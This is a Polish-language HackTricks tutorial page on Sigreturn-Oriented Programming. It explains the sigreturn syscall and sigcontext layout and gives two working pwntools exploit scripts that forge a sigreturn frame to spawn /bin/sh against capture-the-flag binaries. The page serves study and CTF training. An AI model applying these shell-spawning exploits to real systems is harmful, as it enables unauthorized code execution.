SROP - Sigreturn-Oriented Programming
Reading time: 5 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Podstawowe informacje
Sigreturn
to specjalny syscall, który jest głównie używany do sprzątania po zakończeniu działania obsługi sygnałów. Sygnały to przerwania wysyłane do programu przez system operacyjny, często w celu wskazania, że wystąpiła jakaś wyjątkowa sytuacja. Gdy program otrzymuje sygnał, tymczasowo wstrzymuje swoją bieżącą pracę, aby obsłużyć sygnał za pomocą handlera sygnałów, specjalnej funkcji zaprojektowanej do radzenia sobie z sygnałami.
Po zakończeniu działania handlera sygnałów, program musi wznowić swój poprzedni stan, jakby nic się nie stało. Tutaj wchodzi w grę sigreturn
. Pomaga programowi powrócić z handlera sygnałów i przywraca stan programu, sprzątając ramkę stosu (sekcję pamięci, która przechowuje wywołania funkcji i zmienne lokalne) używaną przez handlera sygnałów.
Interesującą częścią jest to, jak sigreturn
przywraca stan programu: robi to, przechowując wszystkie wartości rejestrów CPU na stosie. Gdy sygnał nie jest już zablokowany, sigreturn
zdejmuje te wartości ze stosu, efektywnie resetując rejestry CPU do ich stanu sprzed obsługi sygnału. Obejmuje to rejestr wskaźnika stosu (RSP), który wskazuje na aktualny szczyt stosu.
caution
Wywołanie syscall sigreturn
z łańcucha ROP i dodanie wartości rejestrów, które chcielibyśmy załadować na stos, umożliwia kontrolowanie wszystkich wartości rejestrów, a tym samym wywołanie na przykład syscall execve
z /bin/sh
.
Zauważ, że byłby to typ Ret2syscall, który znacznie ułatwia kontrolowanie parametrów do wywoływania innych Ret2syscalls:
{{#ref}} ../rop-syscall-execv/ {{#endref}}
Jeśli jesteś ciekawy, to jest to struktura sigcontext przechowywana na stosie w celu późniejszego odzyskania wartości (diagram z tutaj):
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
+--------------------+--------------------+
| &uc | uc_stack.ss_sp |
+--------------------+--------------------+
| uc_stack.ss_flags | uc.stack.ss_size |
+--------------------+--------------------+
| r8 | r9 |
+--------------------+--------------------+
| r10 | r11 |
+--------------------+--------------------+
| r12 | r13 |
+--------------------+--------------------+
| r14 | r15 |
+--------------------+--------------------+
| rdi | rsi |
+--------------------+--------------------+
| rbp | rbx |
+--------------------+--------------------+
| rdx | rax |
+--------------------+--------------------+
| rcx | rsp |
+--------------------+--------------------+
| rip | eflags |
+--------------------+--------------------+
| cs / gs / fs | err |
+--------------------+--------------------+
| trapno | oldmask (unused) |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate |
+--------------------+--------------------+
| __reserved | sigmask |
+--------------------+--------------------+
Dla lepszego wyjaśnienia sprawdź również:
{{#ref}} https://youtu.be/ADULSwnQs-s?feature=shared {{#endref}}
Przykład
Możesz znaleźć przykład tutaj, gdzie wywołanie signeturn jest konstruowane za pomocą ROP (umieszczając w rxa wartość 0xf
), chociaż to jest ostateczny exploit stamtąd:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = process()
BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = BINSH # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf) # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
Sprawdź również eksploit stąd, gdzie binarka już wywoływała sigreturn
, więc nie ma potrzeby budować tego z ROP:
from pwn import *
# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)
# Establish the target architecture
context.arch = "amd64"
# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)
# Start making our sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x400185 # Syscall instruction
frame.rax = 59 # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
Inne przykłady i odniesienia
- https://youtu.be/ADULSwnQs-s?feature=shared
- https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop
- https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html
- Zestawienie w asemblerze, które pozwala na zapis na stosie i następnie wywołuje syscall
sigreturn
. Możliwe jest zapisanie na stosie ret2syscall za pomocą struktury sigreturn i odczytanie flagi, która znajduje się w pamięci binarnej. - https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html
- Zestawienie w asemblerze, które pozwala na zapis na stosie i następnie wywołuje syscall
sigreturn
. Możliwe jest zapisanie na stosie ret2syscall za pomocą struktury sigreturn (binarne zawiera ciąg/bin/sh
). - https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html
- 64 bity, brak relro, brak canary, nx, brak pie. Prosty przepełnienie bufora wykorzystujące funkcję
gets
z brakiem gadżetów, które wykonują ret2syscall. Łańcuch ROP zapisuje/bin/sh
w.bss
wywołując ponownie gets, wykorzystuje funkcjęalarm
do ustawienia eax na0xf
, aby wywołać SROP i uruchomić powłokę. - https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html
- Program w asemblerze 64 bity, brak relro, brak canary, nx, brak pie. Przepływ pozwala na zapis na stosie, kontrolowanie kilku rejestrów i wywołanie syscall, a następnie wywołuje
exit
. Wybrany syscall tosigreturn
, który ustawi rejestry i przeniesieeip
, aby wywołać poprzednią instrukcję syscall i uruchomićmemprotect
, aby ustawić przestrzeń binarną narwx
i ustawić ESP w przestrzeni binarnej. Kontynuując przepływ, program ponownie wywoła read do ESP, ale w tym przypadku ESP będzie wskazywał na następną instrukcję, więc przekazanie shellcode'a zapisze go jako następną instrukcję i wykona go. - https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection
- SROP jest używane do nadania uprawnień wykonawczych (memprotect) miejscu, w którym umieszczono shellcode.
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.